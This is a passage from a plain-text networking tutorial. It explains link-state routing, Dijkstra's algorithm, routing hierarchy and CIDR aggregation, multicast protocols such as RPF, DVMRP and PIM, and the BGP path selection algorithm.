destination from any one source. The problems of loops are avoided because
|
|||
|
each router contains the full topology of the network. Basically, the router
|
|||
|
makes a 3 tuple containing the source router (itself) the neighbor and the
|
|||
|
cost to its neighbor. Therefore, if router A is connected to Router B over a
|
|||
|
link of cost 3 and router A is connected to router C over link cost 5, then
|
|||
|
router A would advertise the Link State Packets (LSPs) <A,B,3> and <A,C,5> to
|
|||
|
all routers on this network. Each router on the network would evaluate all of
|
|||
|
the LSPs that it receives and calculate a shortest path to every destination
|
|||
|
on the network.
|
|||
|
|
|||
|
Obviously, the LSP is an integral part of the convergence process. If someone
|
|||
|
could inject false LSPs into the network, it could result in misrouted
|
|||
|
information (a packet taking a longer path than it should) or even in the
|
|||
|
blackholing of a router on the network. This is not necessary a malicious
|
|||
|
attack of a network, however. Router C could advertise a link to its neighbor
|
|||
|
D with the 3 tuple <C,D,6> and then withdraw the announcement when the link
|
|||
|
goes down. Unfortunately, if the LSP advertising the link having an infinite
|
|||
|
cost arrives before the LSP advertising the cost of that link being 6, the
|
|||
|
routing table will not reflect the topology of the network and will be in that
|
|||
|
state until another LSP comes to correct the problem.
|
|||
|
|
|||
|
To combat this, a sequence number is introduced into the LSP. Therefore, all
|
|||
|
of the routers on the network would initialize their sequence number to some
|
|||
|
starting value and then start advertising their LSPs. This solves the above
|
|||
|
problem in that the LSP advertising the link of infinite cost would have a
|
|||
|
higher sequence number than the LSP advertising the link as having cost 6.
|
|||
|
|
|||
|
Some problems encountered when using sequences numbers are finite sequence
|
|||
|
space, sequence initialization, and aging. It is in the best interest of a
|
|||
|
robust link state protocol needs to protect its LSPs as well as choose a
|
|||
|
sequence space which is sufficiently large to accommodate updates. The
|
|||
|
sequence space that the LSPs can use is set to some finite value. Therefore,
|
|||
|
when the sequence numbers reach the top of the space, they must wrap around
|
|||
|
towards the smallest sequence number. This presents a problem because when a
|
|||
|
router compares link state updates, the greater sequence number takes
|
|||
|
preference. To combat this problem, you can define a maximum age of the LSP.
|
|||
|
Therefore, if you have not received an update in X ticks, you discard the
|
|||
|
current LSP information and wait for a further update. It must be noted that
|
|||
|
this invalidates the path information to a destination. For example, if
|
|||
|
router Y advertises a cost to its neighbor router Z where router Y is
|
|||
|
connected by one link to a meshed network, when the link between the mesh and
|
|||
|
router Y breaks, the other routers in the mesh have preserved link state
|
|||
|
information that will allow them to find a path towards Z. If they receive no
|
|||
|
updates in MAX_AGE, then they will assume that the link to Y is unreachable.
|
|||
|
This will allow each router to converge its table and allow it to advertise an
|
|||
|
infinite LSP for Y and Z.
|
|||
|
|
|||
|
Sequence initialization is also an important facet of this problem. Say
|
|||
|
router Y crashed and is rebooting while the network is recalculating paths to
|
|||
|
it. When it starts its link state protocol back up, it must somehow indicate
|
|||
|
that it needs to reinitialize its sequence number to the last number it gave
|
|||
|
all of the other routers to allow for coherence. Therefore, it can announce
|
|||
|
paths with a sequence number in a special "initialization set". This
|
|||
|
initialization set will tell the other routers that this router needs the
|
|||
|
sequence where it left off. This is the "lollipop sequence" idiom. The
|
|||
|
sequence space really resembles a lollipop in that the normal sequence number
|
|||
|
keep churning around the finite sequence space while reinitialization takes
|
|||
|
place in a short linear sequence space (comparable to the stick :).
|
|||
|
|
|||
|
Great pains are taken to ensure the integrity of LSPs. In fact, this entire
|
|||
|
routing algorithm depends on the LSP being digested in a coherent method to
|
|||
|
guarantee that each router has the correct view of the network topology. The
|
|||
|
question still remains how the root node router computes the distance to each
|
|||
|
destination.
|
|||
|
|
|||
|
Because of the general nature of a link state protocol, you have various nodes
|
|||
|
of the network advertising the distance to get to their neighbors to every
|
|||
|
other node on the network. Thus each node has a collection of neighbor
|
|||
|
distances from various routers on the network. The routing table is basically
|
|||
|
'grown' outward from the root node to all of the network extremities. This
|
|||
|
will be explained in a slightly rigorous fashion in the next section.
|
|||
|
|
|||
|
|
|||
|
----[ Dijkstra's Algorithm
|
|||
|
|
|||
|
This algorithm is a simple and elegant way to determine network topology.
|
|||
|
Basically, there are two distinct sets of destinations on the network.
|
|||
|
Destinations in set K are known routes for which a shortest path has been
|
|||
|
computed. Destinations in set U are routers for which the best path to that
|
|||
|
router is not currently known. In this set, paths are being considered as
|
|||
|
candidates to be the best path to that destination.
|
|||
|
|
|||
|
To start off, add the current node p into the set K. Then add all of its
|
|||
|
neighbors into the set U with path/cost associations. If there is another path
|
|||
|
to one of the neighbors in the U set, then choose the path which costs the
|
|||
|
least. When the neighbors N* are added to U make sure that they indicate the
|
|||
|
cost through p as well as p's ID .
|
|||
|
|
|||
|
Once this has been done for the set U, then pick the neighbor n to p which has
|
|||
|
the smallest cost to reach p. This is assuming that the neighbor has not
|
|||
|
already been installed in K. This algorithm stops when set U is equivalent to
|
|||
|
the empty set. When set U is null, it is implied that all destinations are in
|
|||
|
set K and have the shortest cost from the root node P on which this algorithm
|
|||
|
is running. Note, that each step evaluates adds ONE neighbor into K. That
|
|||
|
neighbor is the router with the smallest cost to reach p.
|
|||
|
|
|||
|
|
|||
|
----[ Distance Vector vs. Link State
|
|||
|
|
|||
|
We are left with these protocols like BGP which uses path vector and OSPF
|
|||
|
which uses link state. Why do they occupy such orthogonal space? When a link
|
|||
|
state protocol is working correctly, it guarantees that there will be no
|
|||
|
routing loops in the network. The link state protocol also guarantees fast
|
|||
|
convergence when there is a change in the topology of the network because the
|
|||
|
link state is distributed on a flat routing space. Since link state protocols
|
|||
|
contain these inherent advantages, why do protocols like BGP chose to employ
|
|||
|
the path vector approach?
|
|||
|
|
|||
|
Taking a cross-section of routing protocols that are employed on the internet,
|
|||
|
one finds that the majority of large providers use OSPF to resolve routing
|
|||
|
information on their internal network and BGP to talk to other distinct
|
|||
|
networks (or autonomous systems) at their borders of administration. What
|
|||
|
suits BGP as an external protocol and OSPF for an internal routing protocol?
|
|||
|
|
|||
|
One issue, which will be discussed in the next section, is hierarchy. BGP
|
|||
|
provides a mechanism for a routing hierarchy which enables it to greatly
|
|||
|
reduce the space of its table. OSPF, which is a link state protocol,
|
|||
|
provides a flat routing table whereby any internal router knows the full
|
|||
|
hop by hop path to any destination within the autonomous system. Furthermore,
|
|||
|
distance vector protocols understand that different areas can have different
|
|||
|
views of the network where link state protocols require that each node
|
|||
|
independently compute a consistent view of the network. This saves the DV
|
|||
|
protocol the overhead of maintaining a correct LSP database. BGP also has
|
|||
|
another 'advantage' in that it is layered on top of the Transmission Control
|
|||
|
Protocol (TCP). Therefore, in the 'best-effort' service of IP networks, BGP
|
|||
|
has assurance (to the level that TCP can guarantee) that routing information
|
|||
|
will be propagated. Whereas, you can (or should) be able to govern the status
|
|||
|
of your internal network, the nebulous exterior past your border routers
|
|||
|
confers no delivery guarantee on your routing information.
|
|||
|
|
|||
|
Each type of routing algorithm is suited for its function. Link State
|
|||
|
protocols provide the quick convergence that is essential to an internal
|
|||
|
network while distance vector protocols provide external reachability.
|
|||
|
Hierarchy is not something that is inherent in distance vector protocols,
|
|||
|
but the implementation of a hierarchy has made BGP a widely used exterior
|
|||
|
gateway protocol.
|
|||
|
|
|||
|
|
|||
|
----[ Routing Hierarchy
|
|||
|
|
|||
|
Routing hierarchy is an oft fought debate that borders on religion. There
|
|||
|
are constantly questions about how hierarchy should be implemented (if at
|
|||
|
all) in the free form state of the current global network. Hierarchy imposes
|
|||
|
a tree of authority with the overall authority at the top of the tree and
|
|||
|
branching down to regional authorities, local authorities ad infinitum.
|
|||
|
Hierarchy simplifies routing because if a destination is not locally routable
|
|||
|
(or under your section of the tree). You can iterate up towards the top tree
|
|||
|
to try and deliver that information. As you move towards the top, the routing
|
|||
|
information contained in the routers becomes less and less specific until you
|
|||
|
reach the root node which is the least specific. It does, however, know how
|
|||
|
to route information to every possible destination on the network. It may help
|
|||
|
you to envision the hierarchy of the telephone network (built under one
|
|||
|
collective). If a call cannot be placed within a central office, it is handed
|
|||
|
to either another central office in the area code or a wide area link. The
|
|||
|
wide area link understands how to route to each area code in a full national
|
|||
|
mesh whilst the local 5ess switch only knows routing information for more
|
|||
|
specific prefixes. As the phone number becomes less specific (from right
|
|||
|
to left), the routing decision moves further up the strict hierarchy.
|
|||
|
|
|||
|
This similar to how the domain name system (DNS) works on the internet (fig 6).
|
|||
|
You provide local records for domains that you host. When your nameserver
|
|||
|
receives a query for a record, it either returns the fact that it has
|
|||
|
authority for that record or points toward the root nameserver. The root
|
|||
|
nameserver knows the delegations of .com, .net, .org et al. and then points
|
|||
|
towards the site responsible for that top level domain. That site then points
|
|||
|
towards the site that has authority for the specific second level domain.
|
|||
|
Domain names take the form of most specific -> least specific; i.e.
|
|||
|
microsoft.com is more specific than just .com. Likewise
|
|||
|
gates.house.microsoft.com is more specific than microsoft.com.
|
|||
|
|
|||
|
DNS Hierarchy:
|
|||
|
___ . ___
|
|||
|
/ | \
|
|||
|
.com. .org. .edu.
|
|||
|
/ | \
|
|||
|
microsoft.com. eff.org. isi.edu.
|
|||
|
/ | \
|
|||
|
billy.microsoft.com. x0r.eff.org. rs.isi.edu.
|
|||
|
|
|||
|
[ fig 6 ]
|
|||
|
Each level in the hierarchy is responsible for levels of greater
|
|||
|
specificity.
|
|||
|
|
|||
|
Root authority is controlled by the Internet Assigned Numbers Authority
|
|||
|
(IANA). It provides the top of the hierarchy in a "centrally" managed
|
|||
|
database (in fact, there are multiple root servers distributed across the
|
|||
|
county which maintain a consistent database). This is the closest example of
|
|||
|
strict hierarchy that can be found on the internet.
|
|||
|
|
|||
|
With IP addresses, specificity increases in the opposite direction. IP
|
|||
|
addresses (version 4) are 32-bits. The rightmost bit signifies the greatest
|
|||
|
amount of specificity and the leftmost, the least. IP routing authority
|
|||
|
information is not maintained in a centralized database. Routing information
|
|||
|
is exchanged between autonomous systems via the BGP protocol. Routes take
|
|||
|
preference in order of most specific -> least specific. In this way, there is
|
|||
|
some type of hierarchy in the system (even though it is more loose than the
|
|||
|
DNS example). Generally, larger providers control larger parts of the total
|
|||
|
IPv4 space ((2^32) - 3 addresses). The converse is also true.
|
|||
|
|
|||
|
Classless Inter-Domain Routing (CIDR) also helped to decrease the size of
|
|||
|
routing tables and increase the appearance of hierarchy. Now, instead of
|
|||
|
Sprint announcing routes to 130.4.0.0 through 130.20.0.0 (on the classical B
|
|||
|
space boundary) it could announce 130.4.0.0/12 which encompasses that entire
|
|||
|
16 class B range. The classful ranges, subnetworking and the like are
|
|||
|
discussed in my "introduction to IP" page and are therefore not included in
|
|||
|
this document.
|
|||
|
|
|||
|
|
|||
|
----[ Routing Hierarchy and Aggregation
|
|||
|
|
|||
|
BBN divides their 8/8 network into two subnetworks and advertises reachability
|
|||
|
to the aggregate to save table space. Once inside an AS, routing obeys a fairly
|
|||
|
strict hierarchy. Router A is responsible for the entire 131.103/16. It
|
|||
|
divides it into two /17. Likewise, Router D in AS1 is responsible for 8/8 and
|
|||
|
chooses to divide it into 8.0/9 and 8.128/9 and divides responsibility for
|
|||
|
these networks to Routers E and F respectively (fig 7). Routers B, C, E, and F
|
|||
|
can further choose to subdivide their networks in a hierarchical fashion.
|
|||
|
Because of the binary nature of subnetting, networks can only be divided in
|
|||
|
half.
|
|||
|
|
|||
|
Routing Hierarchy and Aggregation:
|
|||
|
|
|||
|
BGP
|
|||
|
|
|||
|
131.169.0.0/16 <--------------------> 8.0.0.0/8
|
|||
|
A (AS1239) D (AS1)
|
|||
|
/ \ / \
|
|||
|
B / \ C E / \ F
|
|||
|
/ \ / \
|
|||
|
131.169.0.0/17 131.169.128.0/17 8.0/9 8.128/9
|
|||
|
|
|||
|
[ fig 7 ]
|
|||
|
In the internet, there is no strict routing hierarchy. There are simply
|
|||
|
large networks which peer via BGP to distribute aggregated routing
|
|||
|
information.
|
|||
|
|
|||
|
|
|||
|
The national backbone is populated by few nodes (when compared to the end
|
|||
|
nodes). Most national providers are one or two router hops away from every
|
|||
|
large network. Through aggregation in networks below, national providers
|
|||
|
provide fully (or at least we hope) aggregated routing information. In a
|
|||
|
strict hierarchy, only one router on any given hierarchy level can advertise
|
|||
|
reachability to a specific portion of the network. In the current state of
|
|||
|
the Internet, multiple routers can advertise reachability information. For
|
|||
|
example, Sprint announces 131.169.0.0/16 out to Digex, MCI, and BBN. Though
|
|||
|
this breaks some of the benefits of a strict hierarchy, it confers other
|
|||
|
benefits. This scheme allows for distributed control of routing information
|
|||
|
instead of depending on the node above. Also, nodes on the same level are
|
|||
|
often interconnected to aid in the dissemination of routing information.
|
|||
|
|
|||
|
|
|||
|
----[ Aggregation
|
|||
|
|
|||
|
As discussed slightly before, aggregation allowed the internet to reduce the
|
|||
|
size of its external reachability tables. Before, the granularity of route
|
|||
|
announcements allowed for only /8, /16, and /24 (octet boundaries). Now, with
|
|||
|
CIDR you could use variable length subnet masks. The only requirement was
|
|||
|
that they fall on one of the 32-bit boundaries of the IP address.
|
|||
|
|
|||
|
Classless routing not only allows us to minimize routing table space, it also
|
|||
|
allows us to divide up large chunks of unused space into manageable pieces.
|
|||
|
Much of the Class A space is terribly under-utilized. With this scheme one
|
|||
|
can more efficiently allocate IP addresses to providers/netizens. The American
|
|||
|
Registry of Internet Numbers (ARIN) controls the allocation of IP addresses
|
|||
|
within the United States.
|
|||
|
|
|||
|
Aggregation helps alleviate the problems of not being in a strict hierarchical
|
|||
|
structure. It allows the least amount of route table specificity at each
|
|||
|
level (assuming the routers on that level choose to fully aggregate their
|
|||
|
announcements.) The less specific aggregates do not necessarily indicate the
|
|||
|
position of a router in the hierarchy. For example, a university may announce
|
|||
|
a /8 and be 3 hops away from the national backbone.
|
|||
|
|
|||
|
A problem with aggregates can be found when we examine candidate route
|
|||
|
specificity. If ISP A only has address space from within the allocated block
|
|||
|
to their parent P, then aggregation could cause problems if ISP A wanted to
|
|||
|
multihome to parent Q. The problem comes in that ISP A is obligated to
|
|||
|
advertise reachability only to their space. This would constitute them
|
|||
|
announcing their address space to Parent Q. Assume that parent P aggregates
|
|||
|
ISP A's space into a /16 for the sake of saving route announcements. Now, ISP
|
|||
|
A would seem to have better reachability only through parent Q because of the
|
|||
|
specificity of the route announcement (remember that more specific routes take
|
|||
|
precedence over less specific routes). This would nullify the benefits of
|
|||
|
multihoming in an attempt to distribute load over the two lines. In this case,
|
|||
|
ISP A would ask parent P to announce a more specific destination which has a
|
|||
|
length matching the length of the aggregate assigned to ISP A. Therefore, to
|
|||
|
the world above parent P and parent Q, the path to ISP A looks equally
|
|||
|
appealing.
|
|||
|
|
|||
|
|
|||
|
----[ Exterior/Interior
|
|||
|
|
|||
|
It is important to look at how routing information is disseminated throughout
|
|||
|
the network. It has already been discussed that we use separate routing
|
|||
|
protocols (with their respective benefits/costs) to talk to the internal and
|
|||
|
external world. However, these protocols cannot take orthogonal views on
|
|||
|
routing information. In fact, the interplay between interior and exterior
|
|||
|
routing protocols is what allows data to be effectively relayed to a
|
|||
|
destination external to the network as well as to distribute external routing
|
|||
|
information to all nodes on the internal network.
|
|||
|
|
|||
|
There are a few ways to ensure that each router has a consistent view of the
|
|||
|
network. One is to distribute the external protocol into the internal
|
|||
|
protocol. Thereby, the internal protocol instantly has routing information
|
|||
|
injected in it for the best path to every external destination. Note that the
|
|||
|
router which talks eBGP (or comparable protocol) only redistributes the route
|
|||
|
that it installs in its routing table and not the other candidate routes which
|
|||
|
may have been advertised to it.
|
|||
|
|
|||
|
Another approach is to inject the interior protocol into the exterior protocol.
|
|||
|
Of course, this necessitates filtering at the entrance point to the exterior
|
|||
|
protocol to prevent the announcement of all internal specifics. You can
|
|||
|
accomplish internal routing dissemination inside an Interior Gateway Protocol
|
|||
|
mesh. Because of the specifics of protocols like BGP, externally learned
|
|||
|
routing information will only be propagated one logical hop within the network.
|
|||
|
Therefore, every router that must know this external reachability information,
|
|||
|
must be fully meshed with the eBGP speaking routers. Also, if other routers
|
|||
|
are injecting information into the Exterior Gateway Protocol, the router
|
|||
|
should be logically fully meshed with them.
|
|||
|
|
|||
|
|
|||
|
----[ Multicast Routing Overview
|
|||
|
|
|||
|
What we have been talking about above is unicast routing. In unicast routing,
|
|||
|
you assume that each packet has a single destination address. Assuming
|
|||
|
infinite resources being available, unicast is a feasible solution for every
|
|||
|
situation. However, there are situations when it would be advantageous to send
|
|||
|
a packet to multiple destinations from a single source (point to multipoint) or
|
|||
|
from multiple sources to multiple recipients (multipoint to multipoint).
|
|||
|
|
|||
|
The point of multicast is to provide a multicast group to which hosts can
|
|||
|
subscribe and get the specific multicast feed. The multicast group is a single
|
|||
|
IP address in class D space. Therefore, the senders and receivers are only
|
|||
|
associated by a given multicast group address. Thus, the senders move their
|
|||
|
data towards the multicast group address and the receivers specify that they
|
|||
|
want to receive information from a given group address. In fact, the sender
|
|||
|
is not required to know any information about the hosts that are receiving the
|
|||
|
feed.
|
|||
|
|
|||
|
|
|||
|
----[ Multicast vs. Unicast
|
|||
|
|
|||
|
If one was sending packets from a single source to a set of destinations, it
|
|||
|
is important to investigate how multicast and unicast handle the distribution.
|
|||
|
|
|||
|
Assume that router A is sending data to routers B, D and E. A is at the top of
|
|||
|
the hierarchy, B and C are at the second level of the hierarchy, and D and E
|
|||
|
are below router B. With multiple unicast (fig 8), router A makes 3 copies of
|
|||
|
the packet and sends them down link AB. Router B then sends one packet to a
|
|||
|
host off of its ethernet and forwards the last two packets to routers D and E
|
|||
|
whereupon those routers send the packets to the their respective hosts in the
|
|||
|
multicast group.
|
|||
|
|
|||
|
Therefore, this transmission takes up 3 packets per second on link AB and 1
|
|||
|
pps on links B->Host(b), router D and router E. In a multicast routing
|
|||
|
implementation, assuming the same topology, we will have less packets. The
|
|||
|
difference is that router A sends _one_ packet over link AB. Router B then
|
|||
|
triplicates the packet and sends it to Host(b), router D and router E (fig 9).
|
|||
|
One way for triplicating the packet is to simultaneously close crossbars on a
|
|||
|
fully crossed switch fabric, thus sending data from one input to three outputs
|
|||
|
simultaneously. As long as there is route redundancy, multicast is very
|
|||
|
efficient because it minimizes redundant packets traveling to the same
|
|||
|
next-hop. Simply, as long as there is route redundancy for the distributed
|
|||
|
session (for example, an audio feed) you will see an advantage with multicast
|
|||
|
over unicast.
|
|||
|
|
|||
|
Multicast Overview Example:
|
|||
|
|
|||
|
Multiple Unicast:
|
|||
|
A A sends 3 packets to B.
|
|||
|
/ \
|
|||
|
/ \ 3
|
|||
|
/ \
|
|||
|
C B B sends 1 packet to each to D and E.
|
|||
|
/ \
|
|||
|
1 / \ 1
|
|||
|
/ \
|
|||
|
D E D and E send 1 packet to their respective
|
|||
|
hosts.
|
|||
|
|
|||
|
[ fig 8 ]
|
|||
|
|
|||
|
Multicast:
|
|||
|
|
|||
|
A A sends 1 packet to B
|
|||
|
/ \
|
|||
|
/ \ 1
|
|||
|
/ \
|
|||
|
C B B duplicates the packet for its host;
|
|||
|
/ \ therefore, there is 1 packet (at most) on
|
|||
|
1 / \ 1 each link.
|
|||
|
/ \
|
|||
|
D E
|
|||
|
|
|||
|
[ fig 9 ]
|
|||
|
|
|||
|
|
|||
|
This is a multicast topology rooted at node A. There is also a shortest path
|
|||
|
from A to every destination in the multicast group. This is called the
|
|||
|
shortest path multicast tree rooted in A. Data would like to shortest path on
|
|||
|
the network layer. One problem with multicast sessions is that recipients
|
|||
|
join and leave during a multicast session. This requires pruning of the
|
|||
|
multicast "tree" so that packets do not clutter a link on which there is no
|
|||
|
one requesting data from a given multicast group.
|
|||
|
|
|||
|
To detect if there are hosts on a particular broadcast LAN that are interested
|
|||
|
in a multicast group, the router sends out Internet Group Management Protocol
|
|||
|
(IGMP) messages. Each packet has a random reply time from which the host will
|
|||
|
express interest. This is to prevent all hosts on a broadcast LAN from
|
|||
|
responding at the same time to an IGMP query. Once one host desires to
|
|||
|
receive data destined for a particular multicast groups, all other hosts which
|
|||
|
desire to be in the multicast group can discard their replies because the
|
|||
|
router knows to multicast all incoming packets destined for that group. The
|
|||
|
host then configures its adapter to answer for the MAC address corresponding
|
|||
|
to that group.
|
|||
|
|
|||
|
Multicast must also be functional outside of the broadcast LAN. A simple
|
|||
|
solution to the problem is to give each router for which multicast is enabled
|
|||
|
the multicast packet. This is called flooding. Basically, it functions by
|
|||
|
forwarding the packet to every interface other than the one that the packet
|
|||
|
arrived on. The inherent flaws in this approach is that there is packet
|
|||
|
duplication as well as packets being sent to routers which have no hosts
|
|||
|
subscribed to the multicast group. To clarify the duplication statement, if
|
|||
|
Router A is physically meshed with routers B, C, and D and linked to its
|
|||
|
upstream via serial, when router A receives the multicast packet, it floods it
|
|||
|
out the interfaces to routers B, C, and D. These routers then flood the packet
|
|||
|
out the interface other than the one they received the packet on (namely the
|
|||
|
interface that connects them to A). This results in each of these routers
|
|||
|
receiving two copies of the packet (other than the one they received from A)
|
|||
|
in this exchange.
|
|||
|
|
|||
|
A solution to this problem can be found in a technique called Reverse Path
|
|||
|
Forwarding (RPF). RPF specifies that the router forwards a packet with a
|
|||
|
source address of X only if the interface which the router receives the
|
|||
|
packet on corresponds to the shortest path that router has to source
|
|||
|
X (fig 10). Therefore, in the above example, each of the meshed routers
|
|||
|
_still_ receives 2 duplicate packets in the second step, but they refuse to
|
|||
|
forward them because only the packet received from the interface directly
|
|||
|
connected to A will be forwarded. As noted, RPF does not completely solve
|
|||
|
the problem of packet duplication. To solve this, we must introduce
|
|||
|
pruning. The idea is simplistic: inform neighbors that you do not wish to
|
|||
|
receive multicast packets from source X to multicast group Y. You can also
|
|||
|
specify prunes to a particular group. If a router tells its neighbors that it
|
|||
|
did not desire to receive packets for group Y and then has a host which
|
|||
|
desires to receive group Y, it sends a graft message to its neighbors
|
|||
|
specifying that it be added into the multicast tree.
|
|||
|
|
|||
|
As a unicast aside, RPF can also be used to eliminate source address spoofing
|
|||
|
in that the router will only forward packets from source Y if it is receiving
|
|||
|
it on the interface which is the shortest path to source Y. Thus, if the
|
|||
|
router receives packets from an external link which say their saddr ==
|
|||
|
saddr(y), the router will not forward them because its shortest path to Y is
|
|||
|
not from the external link.
|
|||
|
|
|||
|
RPF Example:
|
|||
|
|
|||
|
| <-- Point of ingress.
|
|||
|
|
|
|||
|
A-----------C
|
|||
|
|\ /|
|
|||
|
| \_______/ |
|
|||
|
| / \ |
|
|||
|
|/ \|
|
|||
|
B-----------D
|
|||
|
|
|||
|
[ fig 10 ]
|
|||
|
ABCD are physically meshed. When A distributes a packet to BCD, there is
|
|||
|
no problem. Now, in the next step, B, C,and D forward the packet to each
|
|||
|
of their respective neighbors (for B it would be C and D and ! A because
|
|||
|
it received the packet from A). This results in C and D receiving 2
|
|||
|
packets in this entire exchange. Note that C and D now do _not_ forward
|
|||
|
the packet they have received from A through B because that is not their
|
|||
|
shortest path to A. Their shortest path is their direct link.
|
|||
|
|
|||
|
|
|||
|
----[ The Multicast Backbone (MBONE)
|
|||
|
|
|||
|
It would be myopic to assume that every router on the internet supports
|
|||
|
multicast. Thus, when a router needed to find the shortest path to a
|
|||
|
destination (for forwarding of a multicast packet) it could look in the
|
|||
|
unicast routing table. Unfortunately (or fortunately depending on your
|
|||
|
perspective) most routers on the Internet do not support multicast or do
|
|||
|
not have it enabled by default. Therefore, until most routers support
|
|||
|
multicast, it has been "layered" over IP and tunneled from multicast router to
|
|||
|
multicast router (more specifically, the multicast header and data is
|
|||
|
encapsulated in a unicast IP header). The tunnel (which bridges the gap of
|
|||
|
unicast only routers between multicast routers) informs each end that some
|
|||
|
packets will contain a multicast group in their payload. This allows data to
|
|||
|
be routed by using unicast forwarding tables while at the same time preserving
|
|||
|
the integrity of the multicast group id.
|
|||
|
|
|||
|
Because these multicast routers are not necessarily connected physically
|
|||
|
(though they are tunneled logically), they must be connected by a multicast
|
|||
|
routing protocol. This is necessary because the closest path via multicast
|
|||
|
may not correspond to the shortest path over unicast only routers. Distance
|
|||
|
Vector Multicast Routing Protocol (DVMRP) is an initial foray into this realm.
|
|||
|
DVMRP distributes "unicast" routes to facilitate the construction of shortest
|
|||
|
path trees. DVMRP uses the flood and prune method discussed above to discover
|
|||
|
/maintain multicast trees. There is also a link state foray into this arena.
|
|||
|
Multicast Open Shortest Path First (MOSPF) takes the LSP approach and
|
|||
|
calculates shortest absolute path. One host off of a multicast router can
|
|||
|
request to be in a multicast group. That router then distributes an LSP over
|
|||
|
the network. Of course, MOSPF (being a link state protocol) runs into
|
|||
|
salability problems. It is computationally expensive for a router to compute
|
|||
|
reachability information for each end node router.
|
|||
|
|
|||
|
Core based trees (CBT) are an attempt to alleviate the problems that DVMRP and
|
|||
|
MOSPF experience. The concept is that multicast routers send join requests to
|
|||
|
core routers of arbitrary designation. When a router learns of a host which
|
|||
|
wishes to join a specific multicast group, it forwards a packet to the core
|
|||
|
multicast router. Every router along the way forwards the packet towards the
|
|||
|
core router and marks the interface on which the packet arrives so that it
|
|||
|
knows where to forward the multicast packets from the core. This solves the
|
|||
|
problem of having to communicate topology among all of the endpoints. The
|
|||
|
choice of a core multicast router is a non-trivial because all multicast
|
|||
|
traffic for multicast routers branching off of it _must_ pass through the core
|
|||
|
router.
|
|||
|
|
|||
|
|
|||
|
----[ Protocol Independent Multicast
|
|||
|
|
|||
|
Protocol independent multicast (PIM). Pim is a balance between flood and
|
|||
|
prune and CBT. When there are many multicast routers on a given network, it
|
|||
|
is more efficient to use the flood-and-prune method. This network environment
|
|||
|
is called "dense". On the contrary, sparse mode defines networks where there
|
|||
|
are few multicast routers. In sparse mode, it is more efficient to use CBT
|
|||
|
because the core router is not weighted in an environment when it 'polices'
|
|||
|
few multicast routers. When most of network is comprised of multicast routers,
|
|||
|
it is not prudent to require all sessions to be coordinated (and routed
|
|||
|
through) a core. Sparse mode PIM has been adapted from CBT to allow data to
|
|||
|
reach its destination via the core or through the shortest path tree.
|
|||
|
Currently, the operator must define whether groups are sparse or dense instead
|
|||
|
of leaving it up to the protocol. cisco systems' implementation of pim also
|
|||
|
supports a middle ground called 'sparse-dense' mode.
|
|||
|
|
|||
|
|
|||
|
----[ Border Gateway Protocol
|
|||
|
|
|||
|
There has been some mention of the Border Gateway Protocol (BGP) in this
|
|||
|
document. BGP was groomed as the successor to the Exterior Gateway Protocol
|
|||
|
(EGP). BGP is mainly an exterior routing protocol. It is used to communicate
|
|||
|
with systems outside of the operator's control and both distribute and receive
|
|||
|
network layer reachability information (NRLI) from the neighboring routers.
|
|||
|
BGP must be a robust protocol which has the capability of quick convergence
|
|||
|
while at the same time, not being influenced by frequent shifts in topology.
|
|||
|
When you use BGP to receive routing information, you are depending on the
|
|||
|
other networks to distribute correct information to your network.
|
|||
|
|
|||
|
A BGP speaking router communicates with its peers via TCP. TCP over IP is a
|
|||
|
mechanism for guaranteeing the transmission of data over a best effort service
|
|||
|
at the IP layer. The choice of TCP as the distribution mechanism for BGP
|
|||
|
information is a point of contention. While TCP provides inherent checksums,
|
|||
|
acknowledgments, retransmissions and duplicate suppression mechanisms for
|
|||
|
received packets, it does not guarantee packet order or packet path. This can
|
|||
|
lead to headaches for the router receiving this information.
|
|||
|
|
|||
|
BGP peers communicate with a variety of message formats. BGP speakers use the
|
|||
|
OPEN message to establish a peering relationship with other speakers. BGP
|
|||
|
speakers use the UPDATE message to transfer routing information between peers.
|
|||
|
Update information includes all routes and their associated attributes.
|
|||
|
KEEPALIVE messages assure that BGP peers are active. NOTIFICATION messages
|
|||
|
inform peers of error conditions.
|
|||
|
|
|||
|
|
|||
|
----[ BGP path selection
|
|||
|
|
|||
|
It is important that we understand the messages that constitute the Border
|
|||
|
Gateway Protocol, but we are still left with the question of how BGP works on
|
|||
|
the internet. One important area of clarification is in the BGP path selection
|
|||
|
algorithm. This algorithm is how BGP decides which route to prefer and
|
|||
|
attempt to install in the routing table.
|
|||
|
|
|||
|
This algorithm is employed when there are multiple paths to a destination. As
|
|||
|
a failsafe, the first selection looks at the next hop and determines if it is
|
|||
|
accessible. If the next hop is not accessible, it is important not to
|
|||
|
consider that route as a candidate path to a destination because all data sent
|
|||
|
to its next_hop will be blackholed. The second selection mechanism is the
|
|||
|
weight of the route. Weight is a proprietary implementation to cisco Systems
|
|||
|
routers and is analogous to local preference. If two routes have different
|
|||
|
weights, the route with the largest weight is selected. Notice that the
|
|||
|
selection mechanism is basically a logical if->then chain. If candidate paths
|
|||
|
differ at a level of the selection algorithm, then the favorable path is
|
|||
|
selected and the algorithm ceases trying to decide which path to prefer. The
|
|||
|
next level is the local_pref attribute. This is a well known mandatory BGP
|
|||
|
attribute. Much like weight, the path with the highest local_pref is
|
|||
|
preferred. After local preference, the router selects the path that it
|
|||
|
originated. If the router didn't originate the paths, then the path with the
|
|||
|
shortest AS_PATH length should be selected. AS path length gauges the number
|
|||
|
of autonomous systems that this routing information has traveled through.
|
|||
|
The purpose of this selection relies in the assumption that the less ASNs the
|
|||
|
route has passed through, the closer the destination. If all of the above
|
|||
|
attributes are identical, then prefer path origin in this fashion IGP > EGP >
|
|||
|
Incomplete. If the path origins are the same, prefer the path with the lowest
|
|||
|
value MULTI_EXIT_DESCRIMINATOR (MED). MEDs are commonly used to distinguish
|
|||
|
between multiple exit points to the same peer AS. If none of these attributes
|
|||
|
are dissimilar, then prefer the path through the closest IGP neighbor. If
|
|||
|
that fails, the tiebreaker is preferring the path with the lowest IP address
|
|||
|
specified in the BGP router-id section discussed above.
|
|||
|
|
|||
|
This selection algorithm allows effective establishment of routing policy. If
|
|||
|
I wanted to prefer routes from a certain AS over routes to another AS, I could
|
|||
|
establish a route-map at both entry points of external routing information and
|
|||
|
assign a higher LOCAL_PREF to the routes from the AS I want to favor.
|
|||
|
Unfortunately, this does not provide much granularity. This means that all
|
|||
|
traffic will be routed to the favorable AS and does not allow us to balance
|
|||
|
the load over our multiple connections. If you allow path selection to
|
|||
|
progress to the AS path length decision level, then you will get decent
|
|||
|
(though not 50-50) load balancing to destinations. This of course is assuming
|
|||
|
that you have providers with comparable customer routes and connectivity. If
|
|||
|
